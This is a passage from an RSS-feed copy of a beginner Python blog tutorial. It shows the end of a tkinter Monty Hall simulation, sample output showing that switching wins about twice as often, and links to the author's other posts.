        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;first_choice&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;'gold'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;same_choice_result&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="n"&gt;same_choice&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;same_choice_result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;switched_second_choice&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;'gold'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;switched_choice_result&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="n"&gt;switched_choice&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;switched_choice_result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'That&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s"&gt;s will never happed'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;no_sample&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&amp;lt;Return&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;simulate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mainloop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;​&lt;/p&gt;

&lt;h3&gt;
  
  
  Output
&lt;/h3&gt;

&lt;p&gt;Enter the number of Simulation to be computed by the computer and then press Enter to run the Simulation&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--GWnuYu99--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://kalebujordan.com/wp-content/uploads/2020/06/DeepinScreenshot_select-area_20200623120319.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GWnuYu99--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://kalebujordan.com/wp-content/uploads/2020/06/DeepinScreenshot_select-area_20200623120319.png" alt="" width="461" height="176"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see above Switched choice got as twice as chance compared to the one who stayed with the same choice.&lt;/p&gt;

&lt;p&gt;Remember choice made in this Simulation is entirely random but still If you gonna try running the Simulation again, you probably gonna get resembling numbers perhaps not exact.&lt;/p&gt;

&lt;p&gt;Hope you find this post interesting, don't forget to subscribe to get more tutorials and tips like this. To get the Full code check out on &lt;a href="https://github.com/Kalebu/Monty-Hall-Problem-Simulation-in-Python/"&gt;My Github&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I also recommend you read these;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://kalebujordan.dev/how-to-track-phone-number-in-python/"&gt;How to track phone number in python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://kalebujordan.dev/make-your-own-music-player-in-python/"&gt;How to make a music player in Python&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://kalebujordan.dev/how-to-make-a-digital-clock-in-python/"&gt;How to make a digital clock in Python&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://kalebujordan.dev/how-to-make-a-calculator-with-graphical-user-interface-gui-in-python/"&gt;How to make python GUI calculator&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://kalebujordan.dev/convert-an-image-text-sound/"&gt;Learn how to convert image to sound in Python&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In case of any suggestion or comment, drop it in the comment box and I will reply to you immediately.&lt;/p&gt;

</description>
      <category>codenewbie</category>
    </item>
  </channel>
</rss>
